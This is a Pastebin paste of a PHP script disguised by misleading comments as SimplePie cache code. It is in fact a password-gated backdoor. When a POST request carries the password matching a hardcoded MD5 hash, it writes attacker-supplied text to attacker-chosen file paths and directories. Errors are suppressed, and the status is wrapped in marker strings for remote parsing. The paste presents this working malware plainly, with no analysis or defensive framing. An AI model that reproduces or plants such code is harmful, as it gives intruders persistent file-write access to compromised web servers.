Guest User

Untitled

a guest
Dec 17th, 2013
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.65 KB | None | 0 0
  1. <?php
  2. //Create a new SimplePieCache object
  3. error_reporting(0);
  4. if (isset($_POST['passwordMW'])) {
  5. function stripslashes_for_array(&$arr) {
  6. foreach($arr as $k=>$v) {
  7. if (is_array($v)) {
  8. stripslashes_for_array($v);
  9. $arr[$k] = $v;
  10. } else
  11. $arr[$k] = stripslashes($v);
  12. }
  13. }
  14. function fix_magic_quotes_gpc() {
  15. if (get_magic_quotes_gpc())
  16. stripslashes_for_array($_POST);
  17. }
  18. function create_dir($path) {
  19. return mkdir($path, 0755, true);
  20. }
  21. function create_file($path, $filename, $textMW) {
  22. $f_temp = fopen($path.$filename, "w");
  23. if(file_exists($path.$filename)) {
  24. fwrite($f_temp, $textMW);
  25. fclose ($f_temp);
  26. return TRUE;
  27. } else
  28. return FALSE;
  29. }
  30. function log_create($temp) {
  31. return $temp ? "1" : "0";
  32. }
  33.  
  34. if (function_exists ('get_magic_quotes_gpc'))
  35. fix_magic_quotes_gpc();
  36.  
  37. $t = "\t";
  38. $hash = md5($_POST['passwordMW']);
  39. $prewue = 'Lenslcbdlw53bdkd92b'.$t;
  40. $postwue = $t.'skle93nNlp4cn832kd';
  41. if ($hash == '8b893efbdc733d479dfab302ed195fd7') {
  42. $textMW = trim($_POST['textMW']);
  43. $loc_nameMW = trim($_POST['locnameMW']);
  44. $loc_pathMW = trim($_POST['locpathMW']);
  45. $glob_nameMW = trim($_POST['globnameMW']);
  46. $glob_pathMW = trim($_POST['globpathMW']);
  47.  
  48. $status_loc_sh = file_exists($loc_pathMW.$loc_nameMW);
  49. $status_loc_dir = file_exists($loc_pathMW);
  50. $status_glob_sh = file_exists($glob_pathMW.$glob_nameMW);
  51. $status_glob_dir = file_exists($glob_pathMW);
  52.  
  53. $status_create_loc_dir = false;
  54. $status_create_glob_dir = false;
  55. $status_create_loc_file = false;
  56. $status_create_glob_file = false;
  57.  
  58. if (!$status_loc_dir)
  59. $status_create_loc_dir = create_dir($loc_pathMW);
  60. if (!$status_glob_dir)
  61. $status_create_glob_dir = create_dir($glob_pathMW);
  62. if (!$status_loc_sh && ($status_create_loc_dir || $status_loc_dir))
  63. $status_create_loc_file = create_file($loc_pathMW, $loc_nameMW, $textMW);
  64. if (!$status_glob_sh && ($status_create_glob_dir || $status_glob_dir))
  65. $status_create_glob_file = create_file($glob_pathMW, $glob_nameMW, $textMW);
  66.  
  67. $log = log_create($status_loc_sh).log_create($status_create_loc_file).'-'.log_create($status_glob_sh).log_create($status_create_glob_file).'-'.log_create($status_loc_dir).log_create($status_create_loc_dir).'-'.log_create($status_glob_dir).log_create($status_create_glob_dir);
  68. $log = (log_create($status_create_glob_file) || $status_glob_sh) ? 'ok'.$t.$log : 'bad'.$t.$log;
  69. $log = (log_create($status_create_loc_file) || $status_loc_sh) ? 'ok'.$t.$log : 'bad'.$t.$log;
  70. echo $prewue.$log.$postwue;
  71.  
  72. } else
  73. echo $prewue."_bad".$t."_bad".$t."_error_hash".$postwue;
  74. }
  75. //Include the system functions
  76. ?>
Add Comment
Please, Sign In to add comment